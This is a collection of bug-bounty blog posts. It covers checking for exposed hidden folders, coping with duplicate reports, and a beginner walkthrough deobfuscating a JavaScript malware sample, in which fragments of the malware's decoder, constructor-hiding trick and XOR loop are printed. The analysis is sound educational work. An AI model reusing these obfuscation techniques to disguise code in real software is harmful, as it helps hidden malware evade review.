comments. It's always worth to look into if you found them during reconnaissance phase. # Summary It is always worth to check if one of mentioned folder exists on the web server. Git repository is just a disaster, as it allows to download source code of web application, as well as IntelliJ IDE project configuration folder. If you are using automated scanners (like DirBuster or similar) it's worth to check if those folders already exists in your dictionary files and add them if they don't. Happy Hacking! :) # Recommended tools Here's a list of tools which may help discover hidden content ### BFAC by @mazen160 BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. An absolute amazing tool to discover backup files created and maintained by Mazin Ahmed. https://github.com/mazen160/bfac ================================================ FILE: how_to_deal_with_dupes/hot_to_deal_with_dupes.md ================================================ ## How to deal with duplicates (and start to like them, with a little help of Jennifer Lawrence ;) ) ### Intro If you are Bug Bounty Hunter, you know that feeling, when your report is marked as 'Duplicate'. This moment is like 4th place in the race - you were so close to the podium. So close to Gold, Silver or Bronze. But you've finished with nothing and the only thing left to do for you is to watch medal ceremony from tribune. And cry. In bug bounty programs you compete against other hunters in hunting for bugs. Two biggest and most popular bug bounty platforms (HackerOne and Bugcrowd) maintain programs for their clients and allows you to send to those programs something called 'Report' - which is description of security issue you have found with all required information about your finding (what kind of bug, where did you find it, how to reproduce it and, if you know how to do this - how to mitigate it). Program can accept your report, if it's valid, or rejects one if bug you found is not valid, program maintainers can't reproduce it or you found this bug in resource which is 'Out of scope' ('Out of scope' is the way programs treat particular types of vulnerabilities as not potential security issues, or marks resources like web application or server as something you should not look for bugs there). Typical examples of out of scope issues are CSRF on logout, self XSS with no security impact or lack of specific, security related HTTP headers in server's response. If you send reports, which are defined as 'Out of scope', those reports likely will end up as 'Not applicable', which has some consequences for researchers (depends on the platform), including loosing reputation points or even disqualification from the program. If your report is correct (vulnerability you have found exists, you have prepared report with all required information, detailed step-by-step Proof of Concept, is reproducible by the program maintainers and has security impact) - your report will be triaged and resolved. You will gain Reputation points, maybe some nice swag and (in monetary programs) finally get the bounty, which is all what bug bounty hunting is about, right? :) ### 'XXX closed the report and changed the status to Duplicate' :( But there is one, very specific situation, when your report is valid (thus, it can't be rejected as 'Not applicable'), you have prepared the best PoC you could, issue is definitely in scope and has significant security impact - in general, everything's going fine and you're already starting to count money you will get. You get notification, your heart starts to beat faster and faster, you open your mailbox and... ![dupe](dupe1.png) Ouch :/ 4th place. No medal. You were good, but not fast enough. The worst feeling bug bounty hunter can feel. ![dupe](empty.gif) If you know that feeling - don't worry, been there, done that. Nobody likes duplicates (or 'dupes' like some researchers call them). Getting duplicates constantly, if you're participating in public programs and compete against hundreds of other researchers is a routine. Duplicates also are nothing special in private, invite-only programs, where there are not as many researchers, but their level of knowledge and skills allow them to find most of low hanging fruits and not-so-low hanging fruits as well very quickly. This can be very frustrating and demotivates you from hunting. You're starting to think if all your effort you put in finding the bug you've get dupe for is worth all energy you've put in. The good news is: yes, it is worth all that energy. Every single second you have spent on bug and report. And here's why. ### Why duplicates aren't that bad or even why they are actually pretty good - for you. Let's assume issue you have found in private program you have been just invited to and ended up with 'Duplicate'. It's RCE (Remote Code Execution) in web application written in Java, run on Tomcat application server in internal network. You have found this issue by exploiting template injection in JSP (Java Server Page) file along with SSRF (Server-Side Request Forgery). Your reaction when you see your report is a duplicate is obvious - anger mixed with disappointment. Something what Katniss Everdeen could feel when she was presenting her skills as District 12 tribute, but sponsors did not really care: ![thankyou](thankyou.gif) But hold on there for a second. It's not Hunger Games :) First thing - ask yourself what you had to do to find this issue. Let's get through, step by step, and see what you've could learn from this duplicate: #### You had to find out, what software is running on this server. This requires some recon to be done - maybe basic banner grabbing, maybe something little bit more sophisticated, like port scanning with nmap and -sV option set. You had to use some tools - like netcat, nmap, maybe nikto. Some of those tools might be pretty new for you, or with some of them you are not very familiar and you needed to 'man' them a little bit first. #### You had to figure out how website is build Did you spot JSESSIONID in cookies indicates that this is Java application? Maybe there was HTTP header set with JSP string in it? Maybe you triggered an error with 404 Not Found standard Tomcat response? #### You had to actually spot that user input is reflected in JSP file That was it, right? You figured out that one of user inputs is reflected in HTML output and you realized it has to be processed by the server in some way? How long it took you to craft working exploit and see response from your command you have sent to the server, like 'whoami' or 'uname -a'? How many blog posts you have to read, like this one for example: https://blog.netspi.com/hacking-with-jsp-shells/ #### Finally, you had to figure out that there is request sent to that internal server, which leads directly to SSRF The input from JSP file is used in request sent to internal server, behind the firewall. This server is unaccesible form outside, but this particular injection you have just found in JSP file allows you to spot that response comes from something hidden deeper in program's network. If SSRF was something new for you (let's assume that it is true) - an enormous effort had to be put from you to exploit this and turn into fully exploitable RCE. Hours, if not days spent on reading, searching, looking in Hacktivity for similar reports to find out how it can be done. #### Last, but not least - you had to write report and put detailed Proof of Concept there Write a good report is also a part of the whole process (IMHO it's one of the hardest steps). With every report written - you gain new skills, you actually __learn__ how to describe issue you've just found in the way people from the program can understand. It takes a lot of time and a lot of effort. It's not straightforward, it's not just to fill out the template. Every report (if it's good) is unique, like vulnerability you found. And the way to discover the vulnerability and exploit it, especially more severe like RCE, is unique as well. And this is what makes every duplicate a good thing: - it forces you to __learn__. __A lot__. With every bug you found, with every new report you write - your knowledge and skills grow up. __Practice makes the master__. No other words fit here better than this old quote. - if you exploit something in completely new stack for you, __you always win__. You have to master new tools and techniques. Every stack requires different approach and methods to exploit the same category of vulnerabilities. Remote Code Execution exploitation in LAMP (Linux/Apache/MySQL/PHP) stack application is totally different than exploiting the same issue in Node.js or Java application - you __learn new programming languages__. To be able to exploit RCE in application you have no previous experience with, it requires from you at least basic understanding of language syntax, encoding it uses, how to get readable output - all those things which makes your exploit actually working - it is very common that you end up with duplicate only to realize that there is another vulnerability right beside the one you have just found. RCE is duplicate? Maybe there is Stored XSS in the same screen, if application does not sanitize user input correctly? Maybe you have just found a way to bypass WAF (Web Application Firewall) because of syntax trick you have just used and it allows you to exploit XSS you couldn't exploit earlier due to WAF? Those were technical things. But there are other as well, maybe even more important if you are going to dive into bug bounty and makes it your lifestyle: - you know that __you can find very severe vulnerabilities__. You are getting more self-confident. You weren't first, but you need to realize __it does not matter__ really. You could not know that someone else just found the same bug. There is the best summary of this, posted on Twitter by @abhijeth: source:https://twitter.com/abhijeth/status/915747406938963968 __Bug was there and you have found it__, exploit it and gain remote code execution in something you have no idea how it works earlier. Remember that bug bounty hunting is almost always a 'black box' in penetration testing methodology - that means you have no idea what's under the hood until you actually dig into. It's not your fault when you end up with duplicate. Remember - there will be always someone better than you (just look on the Leaderboard and compare your position and number of bugs found :) ). But if you can find very, very severe bugs in the same fashion like @Mr Hack, @meals, @Geekboy, @mongo, @yappare, @zseano or @mlitchfield - nothing can stop you from heading to the Top!!! ![yeah](ohyeah.gif) - it's always good to win. How to deal with defeat is much harder to learn. Duplicates can teach you persistence, patience and something which I did not realized until I found valid, triagged and resolved later bug in the same program I've found duplicate couple of days earlier - getting up after you have felt down (mentally ;) ) It's all about __don't giving up__. Don't think in short term - 'Oh God, it's a dupe! I'm doomed :('. Think in the long term. For every duplicate you get, there are (or will be) two, three, five or ten valid reports. Duplicates are, from their nature, impossible to omit. __Always remember you are not the only one hunting for bugs__. This is especially important in most popular, public programs out there like Yahoo, General Motors, Uber, Shopify or VK.com. Just look at the numbers of bugs found in those programs. Hundreds, even thousands (like Yahoo). How many of them were accompanied with five, ten or twenty duplicates? Many. It's inevitable. Yes, dupes are a part of bug bounties. Hunt with this in mind. ![cool](cool.gif) ### How to avoid duplicates. If it's even possible. Short answer - no, it's not possible due to all reasons I've already explained earlier. But there are some simple methods you can use to at least try to avoid obvious dupes (trying is good, always remember Offensive Security motto: __Try Harder!__): - if you are working on new program (let's say in the first 48 hours after program went out public) - any __low hanging fruit__ like Reflected XSS in 'Search' input, Open Redirect in URL, hardcoded credentials in HTML or JavaScript source, SQL Injection on ID parameter in URL or Local File Include in something like _index.php?include=about/careers.php_ are already reported if you did not spot them in first 5 minutes of program life. Deal with this. New public program is the most desired thing on any bug bounty platform nowadays. There are roughly five to ten thousands active researchers on HackerOne and probably on Bugcrowd as well - from the other point of view public programs don't start very often. For guys without wide choice from private programs to work on - it's the only way to gain Reputation (I was starting in exactly the same way). So there will be hundreds of them there already. Chances that you will be first to spot low hanging fruit are very small. Tiny little one. - if public programs are the only option for you for now, try to find one with as wide scope as possible Start from looking at Hacktivity (feature on HackerOne which allows to see all resolved reports, many of them with full disclosures) in such program. What types of bugs are the most popular? Which services are most attacked? How many bugs were resolved so far? How many researchers were revarded? When the last bugs were disclosed? You should look for programs where: - scope is wide as mentioned earlier - the best examples for me are so far Yahoo and __General Motors__. Especially second one looks interesting, because literally __everything__ is in scope. I was able to report the weirdest issues I was able to spot, some of them with almost no or very little security impact. Every report I've sent to GM program was triaged and GM Security Team never left any of vulnerability I've found not triaged or without any response. Another worth to mention program with very wide scope is __US Departament of Defence__ bug bounty program available on HackerOne platform. This program has very well defined scope, without any exclusions: ``` Any public-facing website owned, operated, or controlled by DoD, including web applications hosted on those sites. ``` The result is that for 29 reports I've sent to GM program so far, only 7 were not fully resolved - including __five of them__ were actually duplicates (plus two closed as 'Informative' without any security impact for GM and Reputation for me). Only 5 dupes in 29 reports in total, in public program which runs for two years and has about one hundred hunters involved so far is quite good result I think. - there are many different categories of reported issues If program scope contains only one target and almost all reports are Reflected XSS - if you found one, chance that this will be duplicate is bigger than when there are various types of vulnerabilities, because that means the target is pretty vulnerable and not well developed. If there are many vulnerabilities based on lack of input validation, both on client and server side - try to focus on something more severe. - if program is very active and there were reports resolved in last couple of days - probably is very popular and many bugs are found on daily basis That means only one thing - getting duplicate is more likely here than in program which has last resolved reports dated in weeks or even months. In that case this could mean targets in scope are pretty hard to hack, thus has not so many low hanging fruits, requires more work involved to spot vulnerability and vulnerabilities are not that easy to exploit due to WAFs, sanitization of user input or stack used to build - it can be something not as popular as LAMP or Ruby on Rails (like Go - I was able to find only one web application written with Go in programs I am dealing with). - if you have software developer background like me - maybe try to focus on programs with open sourced codebase (like my favourite concrete5, where I hold 2nd position with 12 resolved reports and 4 duplicates)There are not as many researchers looking for issues in such programs by analyzing source code. When you have source code in front of your eyes, build with language(s) you are familiar with for years and you know what to look for - chances that you will find something really severe are very high. Also, there are many vulnerabilities which are almost impossible to find in traditional, black-boxed hunting based on fuzzing with common payloads, like nuances in business logic which allows to gain privillege escalation or get code execution because of some old, hidden functionality or that one weird 'if' condition which is true only for someone with username 'JenniferL' ;) ### Let duplicates to become your best friends! ![friends](friends.gif) Duplicates are good. Try to like them for all that knowledge you gain from them. They won't harm your Reputation as much as Informative or Not applicable. The last ones is something you have to avoid __always__. It's actually pretty easy: - read the scope, very carefully. It's the easiest part. 'Out of scope' means out of scope. Don't even try to report anything shich is included in 'Out of scope' section of program description. There are some vulnerabilities you maybe found in some resource marked as out of scope but you believe it can hurt program very badly. In such case - try to contact program maintainers directly and ask them if they will consider your finding as valid and will accept it. If yes - don't forget to mention about this in your report. Best thing is to attach mail communication with program team member, where there is clear statement that program will accept your submission. The person you inform about it might not be the same which will investigate your report and it's better (and saves time on both sides and avoid unnecessary closing and reopening report several times) to keep things clear from the beginning. Besides this one exception - __never, ever report anything which is out of scope__. Just don't. It's a golden rule of your good reputation on bug bounty program. If you won't follow this rule - you will end up with negative Signal and your reputation will go down very quickly, which in fact ruins all your chances for any invitation to private program in the nearest future. Last, but not least - every dupe adds 2 points to your Reputation (on HackerOne platform) when original report gets resolved. It's not 7 points as for resolved one, but still something better than 0, isn't it? :) Now, let's get into some metric details related to duplicated reports on Bugcrowd and HackerOne. ### Bugcrowd Bounty Platform Metrics related to Duplicates (by @jhaddix) Another way to look at Duplicates optimistically is that they offer a newer bug hunter some opportunity to receive private program invites. The criteria for Bugcrowd's invites are as follows: ![privprogs](privprogs.png) In this system, duplicates do NOT impact your average submission priority so if a researcher reports two issues: one an accepted :P1: and another duplicate :P1: their average submission priority is still 1.0. The standard points value of duplicates is as follows: ``` accepted: { p1: 40, p2: 20, p3: 10, p4: 5 }, duplicate: { p1: 10, p2: 5, p3: 2, p4: 1 }, rejected: { not_applicable: 0, not_reproducible: -1, out_of_scope: -1, wont_fix: 0 } ``` Duplicates are definitely still benefiting bug hunters! As you accrue points and reputation you are bound to get more private program invites! ![haters](haters.gif) ### HackerOne Metrics related to Duplicates. HackerOne reputation system defines that every duplicate report is worth 2 Reputation points, no matter of severity or how many reputation points original report gets. Based on this, you shoud be aware of negative impact of duplicates on your Signal Metric. Signal (in HackerOne terminology) is an average Reputation points gained by report (without additional points gained for monetary bounties). If you are sending only valid reports, your reports are first every time and triaged and resolved - your Signal will be no more or no less than 7.00. If you are able to keep that Signal all the time - you're doing brilliant job there! ![happy](happy.gif) Unfortunately, it's not possible in the long term and duplicates are one of the reason of this. But no worries, having Signal like 4.50 or 5.20 is perfectly fine. As long as your Signal won't fell down to -2.34 for example, because that means you're sending a lot of 'Not applicable' reports, which costs you literaly minus five Reputation points. So even if duplicates harms you from time to time - the good news is they actually increases your Reputation and it's not possible to end up with negative Reputation. Better this than nothing, right ;) ? ![happy](why.gif) ### Final words At the moment I'm writting these words, I have 63 reports in total (closed and triaged) where 13 of them are duplicates. But even though they cost me 65 points of Reputation less (13 * 2 instead of 13 * 7) - I've learnt a lot from them. In my dupes there are reports including vulnerabilities like: - time-based SQL Injection in ASP.NET+MSSQL application (I was not very good at exploiting this stack, so it was good lesson) - another SQL Injection in ASP.NET application (yeah, it seems I am not very lucky with ASP stack ;) ) - again, it requires from me a lot of work to exploit this one as well - Stored XSS (couple of them in various programs) - Reflected XSS including two found in 'Search' features (one I've found in Starbucks, about an hour after it went public - classical low hanging fruit found by someone probably in first minutes, it was so obvious that it was impossible to get this not duplicated after the whole hour :D ) I can't even say how much time I've spent on all of them in total, how many blog posts I've read. For sure my skills in writting custom tools and exploits in Python were improved. I have to read almost every whitepaper about exploiting SQL Injections in ASP.NET+MSSQL applications available in the whole Internet (I'm pretty familiar with this right now and it will be much easier for me to exploit such vulnerabilities in the future). And I don't know how many new XSS payloads I've used, including reading probably all posts on @Brute's blog (thanks Brute!) I hope you will look at every single duplicate you'll get in the future in different way, as I've used to. Of course, I wish you not too many of them! But getting duplicates is a part of being Bug Bounty Hunter, like being hit in the face is pretty normal for every boxer in the world :) Now, tell me, duplicates aren't that bad as you might think, are they? ![uhm](uhm.gif) :))) __Kudos for Jason Haddix (@jhaddix) from Bugcrowd for adding information about duplicates in Bugcrowd platform.__ Happy Hunting! bl4de ================================================ FILE: javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md ================================================ # Simple JavaScript malware code deobfuscation walkthrough __WARNING! Files ```do_not_run.js``` and ```do_not_run_deobfuscated.js``` contains Windows-targeted malware written in JavaScript and prepared to run with Windows Script Host (WSH) engine and can potentially harm your machine if you'll try to run them directly.__ __As I do not have Windows machine and did not test it on any Windows version, I can't give any warranty those files are safe to run on Windows. If you will decide to run them, it's up to you.__ --- ## Table of contents - [First look](#first-look) - [Entry point - IIFE](#entry-point---iife) - [Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method](#basic-obfuscation-methods---expressions-comma-operator-parseint-and-tostring-method) - [Getting function constructor](#getting-function-constructor) - [Logical operators tips and tricks](#logical-operators-tips-and-tricks) - [Summary](#summary) A couple of days ago my colleague found a piece of malicious JavaScript on his Windows machine. Luckily, this code did not run and did not harm his system. I decided to take a look at it and go through the code. What I've found were quite simple, but still interesting methods to obfuscate JavaScript code. I'd like to explain some of them as they base on some JavaScript less known quirks - they still can be found in documentation, however in production code we do not use it very often. This writeup is intended for beginner JavaScript developers and/or malware analysis. I will explain everything while doing code deobfuscation step by step. ## First look If you open file ```do_not_run.js``` from this repository (it contains legacy malware code) in text editor (I __strongly recommend you not to run it if you're on Windows machine__ :-) ) - you'll see a big mess, hard to read, hard to figure out what's going on - but it's still valid and working JavaScript code. How it's even possible? ## Entry point - IIFE Everything starts from top-level IIFE (Immediately Invoked Function Expression). This is a way to run function in JavaScript without calling it directly. Consider example: ```javascript function hello(message) { console.log(message) } ``` If you try to run this code, nothing will happen. To make it work, you have to call function ```hello()``` passing some message as an argument: ```javascript function hello(message) { console.log(message) } hello('This is test') ``` Now, you should be able to see ```This is test``` message displayed in your browser (or Node) console. Let's make IIFE from this code: ```javascript (function hello(message) { console.log(message) })('This is test') ``` And some magic happen - even without calling ```hello()``` function, this piece of code works. How it's possible? * parenthesis around function definition makes a valid JavaScript expression from it. Expression is the simplest piece of code which returns a value (like ```2+2``` which is also valid JavaScript expression). * parenthesis with ```This is test``` __runs__ the function passing an argument to it. Technically, ```(fn(x){})(x)``` is equivalent of ```fn(x)``` definition and call in one. --- IIFE recommended read https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md#invoking-function-expressions-immediately --- In our malware sample we have similar call: ```javascript (function(quhuvu6) { // ... }("41553a304f0b442551284206" + "672651014d1e1a60127" + ... ``` This causes malware runs on its own; passing some very, very long ASCII string as an argument for IIFE. Then, first line inside this function is run: ```javascript var defiq = cicuza(quhuvu6); ``` The result saved in variable ```defiq``` is an array of decimal values, with about 9000 elements. Function, which transforms ASCII string into this array uses couple of tricks, which now we'll analyze in details. ## Basic obfuscation methods - expressions, comma operator, parseInt() and toString() method First, take a look at ```cicuza()``` function, before we'll go through and simplify it to more clean and readable version: ```javascript function cicuza(syhri) { var fahomyfo = []; for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) { fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )); } return fahomyfo; }; ``` First step - let's rename ```fahomyfo``` to something meaningful. Names like this are very common in malware - it's just some way to hide real purpose of each variable or function. In ```cicuza()``` variable ```fahomyfo``` is declared as an array and then, after some logic in ```for``` loop - returned as a result. So let's name it ```result```: ```javascript function cicuza(syhri) { var result = []; for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) { result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )); } return result; }; ``` Ok, now, let's see what's going on in ```for``` loop. First part is to define initial value of variable which determines start value: ```javascript for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/ ; .... ``` So, what ```parseInt((0).toString(36))``` does? First call is ```(0).toString(36)``` - this code contains two chained operations: * ```(0)``` is an expression, which value is number 0 * ```.toString(36)``` is a method which returns String representation of JavaScript object. Every object in JavaScript contains this method. When ```toString()``` is called on primitives, like 0 in this case, this primitive value is converted into object (of type Number), then toString() is called on this object and finally new primitive (string) is returned. When ```toString()``` is called on Number object, additional argument can be passed. This argument is an integer between 2 and 36 specifying the base to use for representing numeric values. So, if ```toString(36)``` is called, argument represents base 36 - Hexatrigesimal system with digits represented by numbers 0-9 and letters a-z. Why it's important we'll see in further steps. Now, because 0 in any system is still 0, ```(0).toString(36)``` returns... 0. * second call, ```parseInt(0)``` returns 0 as well. ```parseInt()``` is a function which parses any passed string into Integer and returns it or, if such conversion is not possible, returns ```NaN``` (which is JavaScript representation of ```Not a Number``` value). In this case, it's just 0 parsed to Integer - results in 0 itself. Finally, ```parseInt((0).toString(36))``` is just a way to represent 0. But did you notice how many operations has to be done? This is what code obfuscation in JavaScript is all about - to make code as complicated as it's possible even if all we need is just 0. Let's also rename ```segovmiw4``` into ```i```, which is popular name for iterator variable inside ```for``` loops. So after our first analysis, our code becomes: ```javascript function cicuza(syhri) { var result = []; for (var i = 0; i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; i += parseInt((2).toString(36))) { result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )); } return result; }; ``` --- Number.toString() documentation http://devdocs.io/javascript/global_objects/number/tostring Hexatrigesimal system converter http://www.calculand.com/unit-converter/zahlen.php?zs=36 --- Now, let's focus on what's exactly going on in this piece of code: ```javascript i < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; ``` We know that ```syhri``` is string. As we know, we can read strings using indexes like in ```Array``` type. ```String[0]``` means first character of the string, ```String[1]``` second character and so on. String has also a property ```length```, which represents its length in bytes. But, what's this strange ```("F", "T", "H", "e")``` construction means? Figure it out: * as I mentioned earlier, everything inside () is an expression. ```("F")``` is an expressions which value is char "F": ![Expression](assets/f.png) * comma operator ```,``` separates values and only __the last one__ is used. Consider this example: ![Comma](assets/comma.png) Now, combine those two things together: ![Expression](assets/expr.png) What was assigned to ```value``` was the last char (comma operator) returned from () expression. Back to our malware, we can read four first chars inside ```i < syhri[...]``` which are: ```l```, ```e```, ```n``` and ```g```. Fifth one is again construction explained earlier, but this time, ```toString(36)``` is called on Number 29 - so ```(29).toString(36)``` returns 29th cipher in Hexatrigesimal system, which is ```t```. Last one expression returns ```h``` and finally, after concatenation with ```+``` operator - we can found ```syhri["length"]``` as a result. Also we can rename ```syhri``` into something friendly, like ```val``` and deobfuscate last part of ```for``` loop - ```parseInt((2).toString(36))``` is just 2. Great, what we've got so far then? ```javascript function cicuza(val) { var result = []; for (var i = 0; i < val["length"]; i += 2) { result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ )); } return result; }; ``` We simplify the whole ```for```. Now, it's time to do the same with the expression inside the loop. Using the same methods, we find ```result[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"]``` is equal to ```result["push"]```. What's that mean? As we know, in JavaScript we can call any Object property, like methods, using a dot notation. For example, if we have an array named ```arr```, we can call its ```push()``` method using ```.```: ```javascript let arr = [] // declare Array object named arr arr.push(10) // adds 10 as a first element of Array arr arr.push(20) // adds 20 as a second element console.log(arr) // prints [10, 20] ``` But, we can also call __any__ method or Object property using ```[]``` operator. In this case, ```Object["propertyName"]``` is the same as ```Object.propertyName``` The code above can be simply rewrite into this one: ```javascript let arr = [] // declare Array object named arr arr["push"](10) // adds 10 as a first element of Array arr arr["push"](20) // adds 20 as a second element console.log(arr) // prints [10, 20] ``` So ```result["push"]``` adds value to ```result``` array. And this value comes from following expression: ``` parseInt(val["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ) ``` Fragment ```["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")]``` returns name of ```substr``` function - one of the String object method which just returns part of the string. ```substr()``` accepts one or two arguments: first one is the index of first char of returned part and second one (optional) is a length of this part. If second argument is not passed, ```substr``` returns everything starting from position passed as first (and only) argument. Consider examples: ```javascript let s = "Malware" console.log(s.substr(0,2)) // Ma console.log(s.substr(2,4)) // lwar console.log(s.substr(3)) // ware ``` So far, we get: ```javascript parseInt(val["substr"](i, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/ ) ``` We can see that in this case two arguments are passed to ```val["substr"]``` and they are ```i``` which is ```for``` loop current iterator value and 2 (result of expression ```(85, 19, 84, 9, 2)```: ``` val["substr"](i, 2) ``` Last part is ```parseInt((42).toString(0x24))```. As we know, it parses 42 into Integer using ```0x24``` base. ```0x24``` is a hexadecimal value equals decimal 36. So finally we get 42 converted into String using Hexatrigesimal system: ![42](assets/42.png) How it works? in Hexatrigesimal system we have 36 ciphers and ```35``` decimal is equal to ```z``` in hexatrigesimal. 36 becomes 10, 37 becomes 11, 38 becomes 12 and so on, so 42 becomes 16. As result of ```parseInt((42).toString(0x24))``` is simply ```parseInt(16)``` - finally we get just 16 (because ```parseInt(16)``` equals 16 itself) This is our deobfuscated ```cicuza()``` function (notice I've changed ```[]``` method calls into ```.``` notation): ```javascript function cicuza(val) { var result = []; for (var i = 0; i < val.length; i += 2) { result.push(parseInt(val.substr(i, 2), 16)); } return result; }; ``` Now we can see what this function actually does. As ```val``` contains initial very, very long string passed as an argument to malware's top level IIFE, ```cicuza()``` iterates over it, substract every two characters, converts them from hexadecimal value into decimal one and finally pushes as an element of ```result``` array. So as example - taking the first part of that very long string, which is ```"41553a304f0b442551284206"``` - 41 becomes 65, 55 becomes 85, 3a becomes 58, 30 becomes 48, 4f becomes 79 and so on. In the end, we end up with big array contains decimal values. And this array becomes as a value of ```defiq``` in our malware: ```javascript (...) var defiq = cicuza(quhuvu6); // here we are so far :) var permy = "H@D~7a84O"; var paghimqycgi = { getpy: "myqniroqa3" }; (...) ``` --- substr() documentation http://devdocs.io/javascript/global_objects/string/substr --- ## Getting function constructor Very common method in obfuscation of JavaScript malware is to hide any function definitions and calls. Why? Take a look at this code: ```javascript function doubleX(x) { return x * 2 } doubleX(10) // returns 20 ``` It's obvious what this code does. This is not something what can be considered as sophisticated piece of malware code rather... Let's try to obfuscate it a little: ```javascript let xcf = new Function("x","return x * 2") xcf(10) // returns 20 as well ``` How it works? ```Function``` is a special method in JavaScript, which constructs new function (it works as function constructor). As arguments it accepts list of arguments for function which should be returned and, as last argument - body of this created function. So in our example with ```xcf``` - first argument passed into ```Function()``` is an argument for ```xcf```, and second one is body of ```xcf```. Finally, we get function works in the same way as ```doubleX()```. Before we'll proceed, one important thing to mention here: __every__ function in JavaScript has a property named __constructor__, which in fact is a ```Function()``` itself: ![Function constructor](assets/function.png) We've declared an array object. Then, we check that ```a.forEach``` method has its own property called ```constructor``` - and it is ```Function()```. Why do we need this? Because now, to define ```xcf()``` function, instead of calling ```new Function()``` you can do something like this: ```javascript let xcf = a.forEach.constructor("x","return x * 2") xcf(10) // yep, it works! 20 ``` Can you see advantages of this? Malware can hide declarations of any function, under any name and static code analysis tools can't find any explicit function declarations! Very similar method can be used to assign built-in methods to totally randomly named variables: : ```javascript let sdfgfdg = "".substr sdfgfdg.call("malware",1,2) // "al" ``` ```call()``` is a way to run our function. Consider following example: ```javascript "malware".substr(1,2) // "al" ``` We call ```substr``` method on ```"malware"``` string. But we can also __call__ function ```sdfgfdg```, which we assign ```String.substr()```, passing a string ```"malware"``` as an object on which our ```sdfgfdg``` has to be executed and also pass actual arguments. --- ```call()``` and ```apply()```, as well as ```bind()``` are quite advanced concepts in JavaScript. I strongly recommend to read about them in fantastic "You Don't Know JS" series by @getify (Kyle Simpson): https://github.com/getify/You-Dont-Know-JS --- Last problem for malware is to hide explicit ```constructor``` call. Our malware does it as follows: ```javascript var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")]; ``` As ```"kydka"``` is a string, it has, as every object in JavaScript, method ```constructor``` - and word ```constructor``` is build using already known method with converting numbers to strings with hexatrigesimal system, () expressions returned last element from comma-separated list of characters and finally concatenates them using ```+``` (for string it means concatenation) operator: ```javascript var xewubdiwhit = "kydka"["constructor"] ``` Now, when we know what it does, let's refactor code above into something more readable: ```javascript var fnConstructor = String.constructor ``` Now, first lines of our deobfuscated malware are: ```javascript (function(quhuvu6) { var defiq = cicuza(quhuvu6); var permy = "H@D~7a84O"; var paghimqycgi = { getpy: "myqniroqa3" }; var fnConstructor = String.constructor; var tyttaluli = "mokzine"; var dikol = []; var mirjokbynet = 1; // (27, 50, 52, 21, 1) equals 1 (...) ``` --- More on functions ```call()``` and ```apply()``` http://devdocs.io/javascript/global_objects/function/call http://devdocs.io/javascript/global_objects/function/apply --- ## Logical operators tips and tricks In our analysis we get into this fragment: ```javascript while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) { dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/ ] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/ ](''); for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/ ]; juqno++) { defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + 